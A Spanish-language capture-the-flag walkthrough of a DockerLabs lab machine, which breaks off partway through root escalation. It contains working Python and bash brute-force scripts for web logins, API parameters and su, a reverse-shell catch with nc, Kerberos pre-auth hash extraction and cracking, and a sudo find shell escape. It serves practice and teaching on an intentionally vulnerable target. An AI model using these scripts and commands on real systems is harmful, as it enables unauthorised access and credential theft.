Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 07:21 EST
Nmap scan report for 172.17.0.2
Host is up (0.000070s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: 403 Forbidden
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds
Vemos que hay un puerto 80 abierto, si entramos a el, veremos una pagina normal aparentemente, pero podemos descargarnos un binario en la parte que pone Descargar MatrixCloud, pero si lo ejecutamos veremos que es un binario simple y normal, nada fuera de lo normal, lo que si me atrae es el nombre que tiene puesto matrix, vamos a probar si fuera el nombre de algun directorio en la web o de algun archivo .html, .php, etc...
Si probamos a poner lo siguiente:
URL = http://<IP>/matrix.php
Veremos que si nos funciona, veremos una lluvia de codigo en la pagina, lo malo es que no podremos inspeccionar nada, ni utilizar curl o wget para traernos el archivo de la pagina, ni nada de eso para ver su codigo fuente, pero si esperamos un poco, podremos ver que se nos va resaltando palabras en un tono mas anaranjado formando una especie de palabra.
Despues de un rato de analizar esa secuencia de palabras, me da como resultado la siguiente frase:
secure-api-register
Tambien podremos capturar la respuesta del servidor mediante BurpSuite y obtener el codigo fuente para poder ver el JavaScript y obtener la palabra.
Teniendo esta palabra, podemos deducir que puede ser de un dominio, le añadiremos un .dl al final ya que esta subido en Dockerlabs.
nano /etc/hosts
#Dentro del nano
<IP> secure-api-register.dl
Lo guardamos y entramos mediante ese dominio.
URL = http://secure-api-register.dl/
Veremos un login respecto a una API en la nube, pero las credenciales por defecto no nos van a funciona, si nosotros probamos a meter como usuario admin y como contraseña tendremos que realizar fuerza bruta de la siguiente forma:
brutePass.py
import subprocess
import sys
def brute_force(url, username, wordlist):
try:
with open(wordlist, "r", encoding="utf-8") as file:
for password in file:
password = password.strip()
print(f"[*] Probando: {password}")
# Construir el comando curl
cmd = [
"curl", "-X", "POST", url,
"-H", "Content-Type: application/json",
"-d", f'{{"username": "{username}", "password": "{password}"}}',
"-c", "cookie.txt"
]
# Ejecutar el comando y capturar la salida
result = subprocess.run(cmd, capture_output=True, text=True)
# Revisar la respuesta
if '{"message":"Invalid credentials"}' not in result.stdout:
print(f"[+] Credenciales válidas encontradas: {username}:{password}")
break # Terminar si encuentra una credencial válida
else:
print("[-] No se encontraron credenciales válidas.")
except FileNotFoundError:
print(f"[!] No se pudo abrir el archivo: {wordlist}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Uso: python3 script.py <wordlist.txt>")
else:
url = "http://secure-api-register.dl/login"
username = "admin"
wordlist = sys.argv[1]
brute_force(url, username, wordlist)
Veremos que nos saco la contraseñalove, si lo probamos en la web entraremos a un panel de administrador, pero que aparentemente no veremos nada en especial.
Curl
Vamos a probar a utilizar curl enviando esa peticion de la misma forma, pero con otro tipo de respuesta para intentar interactuar directamente mediante curl de la siguiente forma:
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/admin">/admin</a>. If not, click the link.
Nos pondra que nos esta redireccionando al panel de admin, pero no nos sirve de mucho, si probamos a volcar esta informacion que nos esta proporcionando a un archivo .txt para ver que vemos de la siguiente forma:
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/admin">/admin</a>. If not, click the link.
Ahora si leemos nuestro archivo .txt veremos lo siguiente:
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
#HttpOnly_secure-api-register.dl FALSE / FALSE 0 session eyJsb2dnZWRfaW4iOnRydWV9.Z8mZWQ.Mea36qHN-RiJ3yRKH9dY88gAFV8
Vemos que nos esta volcando una Cookie, ahora que tenemos una posible cookie de sesion, vamos a investigar mas por los directorio.
Si nos vamos al famosos archivo llamado robots.txt pero de la IP de la pagina principal veremos lo siguiente:
Vemos que hay un parametro interesante llamado execute, si entramos dentro desde la web veremos que el metodo no es el correcto:
Method Not Allowed
The method is not allowed for the requested URL.
Por lo que vamos a hacerlo desde curl vimos antes que obtuvimos una cookie, vamos a utilizarla para este parametro de URL podemos deducir que sirve para ejecutar algo, pero no sabemos el parametro en concreto, por lo que vamos a realizar fuerza bruta con un script casero.
import subprocess
import argparse
# Función para realizar la solicitud de prueba
def brute_force(url, cookie_file, wordlist):
# Abrimos el archivo de cookies
with open(cookie_file, 'r') as f:
cookies = f.read().strip()
# Leer el archivo wordlist con manejo de errores en la codificación
with open(wordlist, 'r', encoding='utf-8', errors='ignore') as f:
words = f.readlines()
# Limpiar las palabras del diccionario
words = [word.strip() for word in words]
# Contador de intentos
attempt_counter = 0
# Intentar con cada palabra del diccionario
for word in words:
attempt_counter += 1 # Incrementar el contador de intentos
# Construir el comando curl dinámicamente
curl_command = [
"curl", "-X", "POST", url,
"-H", "Content-Type: application/json",
"-d", f'{{"{word}": "whoami"}}', # Reemplaza <FUZZ> por la palabra actual
"-b", cookie_file
]
# Ejecutar el comando curl
response = subprocess.run(curl_command, capture_output=True, text=True)
# Verificar si la respuesta contiene el resultado esperado
if "result" in response.stdout:
print(f"\nSuccess! Parameter: {word}, Response: {response.stdout}")
break # Si encuentra el parámetro correcto, se detiene el proceso
# Muestra el contador de intentos en la misma línea
if attempt_counter % 10 == 0:
print(f"\rAttempted {attempt_counter} commands...", end='', flush=True)
# Función principal para manejar los parámetros de línea de comandos
def main():
parser = argparse.ArgumentParser(description="Fuerza bruta para encontrar el parámetro correcto en el JSON.")
parser.add_argument("-u", "--url", required=True, help="URL de la API para probar")
parser.add_argument("-c", "--cookie", required=True, help="Ruta al archivo de cookies")
parser.add_argument("-w", "--wordlist", required=True, help="Ruta al archivo de diccionario de palabras")
args = parser.parse_args()
brute_force(args.url, args.cookie, args.wordlist)
if __name__ == "__main__":
main()
Antes de ejecutarlo nos pondremos a la escucha de la siguiente forma:
nc -lvnp <PORT>
Y si ejecutamos el comando anterior y volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 38296
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dockerlabs:/$ whoami
whoami
www-data
Vemos que entramos como el usuario www-data, por lo que tendremos que sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user administrator
Si nos vamos a la siguiente ruta veremos lo siguiente:
cd /var/www
ls -la
Info:
drwxr-xr-x 2 root root 4096 Mar 5 13:45 analisys
drwxr-xr-x 1 www-data www-data 4096 Mar 6 14:04 html
drwxr-xr-x 1 www-data www-data 4096 Mar 6 14:06 secure-api-register.dl
Vemos que hay una carpeta bastante interesante llamada analisys, si entramos dentro veremos 2 archivos uno de ellos sera un traficDetect.pcap y el otro sera note.txt, si leemos la nota veremos lo siguiente:
Aqui os dejo el .pcap para que lo analiceis, yo estuve trabajando en ello y se que tenemos que descubrir una autenticacion que se ha realizado
en alguna parte del trafico de red, teniendo eso creo que podremos descubrir la contraseña que tiene nuestra cuenta de Administrator.
NOTA:
Solo he descubierto que lo que obtengamos en esa contraseña que encontremos tenemos que añadirle una palabra delante con un diccionario de palabras
todo junto, con eso habremos formado bien la contraseña para la cuenta de Administrator.
Vemos que estaba en proceso de sacar unas credenciales del .pcap que servirian para el usuario administrator, por lo que vamos a investigar que tiene ese .pcap pasandonoslo al host.
python3 -m http.server
Host
wget http://<IP>:8000/traficDetect.pcap
Una vez que nos lo hayamos pasado lo abriremos y veremos muchisimo trafico de red y como sabemos que tenemos que encontrar alguna autenticacion vemos que hay una autenticacion por kerberos, que se ha realizado un TGS y un TGT, por lo que vamos a probar a crackear la contraseña de dicha autenticacion, para ello tendremos que obtener varios componentes de la siguiente forma.
Primero filtramos el trafico por kerberos, despues vamos a ver bajo que usuario se encuentra dicha autenticacion:
Con el cname podemos ver a que usuario pertenece, en este caso a empleado1 por lo que nos guardaremos el nombre.
Ahora vamos a ver los datos del AS-REQ que envia la IP del empleado1 al servidor DC del dominio, que en este caso el valor con el que nos tenemos que quedar es con el de cipher que sera el hash que utilizaremos para formar el hash del kerberos.
Ahora tenemos que ver la respuesta en este caso el AS-REP que le responde el servidor DC al usuario empleado1 mediante una serie de pasos de autenticacion con el usuario krbtgt, por lo que nos quedaremos con el salt que hace falta para el hash de kerberos en este caso CORP.LOCALempleado1 y mas abajo vemos bajo que dominio(bosque) se encuentre que sera CORP.LOCAL.
Teniendo todo esto, tendremos que formar el hash para que sea uno valido de kerberos que tendra la siguiente estructura.
Hash Kerberos (Estructura)
$krb5pa$18$<USER>$<DOMAIN>$<SALT>$<HASH_CIPHER>
Ahora con todos los datos vamos a formar nuestro hash quedando de la siguiente forma:
Ahora se lo vamos a pasar a john para que lo cracke.
Crack Hash Kerberos
john --wordlist=<WORDLIST> hash
Info:
Warning: detected hash type "krb5pa-sha1", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Warning: detected hash type "krb5pa-sha1", but the string is also recognized as "HMAC-SHA512"
Use the "--format=HMAC-SHA512" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5pa-sha1, Kerberos 5 AS-REQ Pre-Auth etype 17/18 [PBKDF2-SHA1 128/128 AVX 4x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Passw0rd2 (?)
1g 0:00:18:21 DONE (2025-03-05 07:26) 0.000907g/s 9743p/s 9743c/s 9743C/s Passwordas..Parade2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Despues de unos 18 minutos, veremos que nos saca la contraseña que sera Passw0rd2, ahora le tendremos que añadir lo que nos menciono la nota anteriormente pero para descubrir dicha contraseña, tendremos que probar fuerza bruta creandonos un script de la siguiente forma:
suBruteforceUpdate.sh
#!/bin/bash
mostrar_ayuda() {
echo -e "\e[1;33mUso: $0 [user] [diccionario]"
echo -e "\e[1;31mEspecifica el nombre de usuario y el archivo de diccionario (wordlist)\e[0m"
echo -e "\e[1;33m==================================="
echo -e "\e[1;33mEjemplo de uso: \n"
echo -e "./$0 user wordlist.txt\e[0m"
echo -e "\e[1;33m===================================\e[0m"
exit 1
}
imprimir_banner() {
echo -e "\e[1;34m"
echo "***************************"
echo "* suBruteforce *"
echo "* d1se0 v2.0 *"
echo "***************************"
echo -e "\e[0m"
}
finalizar() {
echo -e "\e[1;31m\nFinalizando el script\e[0m"
exit
}
trap finalizar SIGINT
usuario=$1
diccionario=$2
if [[ $# != 2 ]]; then
mostrar_ayuda
fi
imprimir_banner
while IFS= read -r password; do
if [[ "$(whoami)" == "$usuario" ]]; then
echo -e "\e[1;33m[!] Ya eres el usuario $usuario, no es necesario realizar fuerza bruta.\n\e[0m"
break
fi
modificado="Passw0rd2$password"
echo -e "\e[1;31m[-] Probando $usuario:$modificado\e[0m"
if timeout 0.1 bash -c "echo $modificado | su $usuario -c 'echo HELLO'" > /dev/null 2>&1; then
clear
echo -e "\e[1;32m[+] Contraseña encontrada para el usuario $usuario:$modificado\e[0m"
break
fi
done < "$diccionario"
Lo que vamos hacer es utilizar la palabra Passw0rd2 delante de las palabras del diccionario que pongamos, lo ejecutaremos de la siguiente forma:
[+] Contraseña encontrada para el usuario administrator:Passw0rd2kitty1
Como resultado vemos que la contraseña es:
Passw0rd2kitty1
Si esto lo probamos para el usuario Administrator veremos que funciona.
su administrator
Metemos como contraseña Passw0rd2kitty1 y veremos que estamos dentro, por lo que leeremos la flag del usuario.
user.txt
1be10a286d4effa0df103518e39ea316
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for administrator on dockerlabs:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User administrator may run the following commands on dockerlabs:
(ALL : ALL) /usr/bin/find
Por lo que vemos podemos ejecutar como root el binario find, pero si nos vamos a GTFOBins y buscamos la escala del binario no aparecera algo asi:
sudo find . -exec /bin/sh \; -quit
Pero esto no va a funcionar y podemos deducir que es un binario modificado, por lo que no es el original, vamos a realizarle ingenieria inversa para ver que contiene.
Ghidra
Abriremos ghidra y cargaremos el binario pero antes nos lo tendremos que pasar.
Maquina victima
cd /usr/bin
python3 -m http.server
Host
wget http://<IP>:8000/find
Una vez que hayamos cargado el binario en la herramienta veremos una funcion bastante interesante en el apartado de funciones llamada find_callback:
Vemos que si buscamos por la palabra leersecretpassroot llamara a la funcion de leer un .txt en la carpeta de root, por lo que tendremos que hacer lo siguiente en la maquina victima: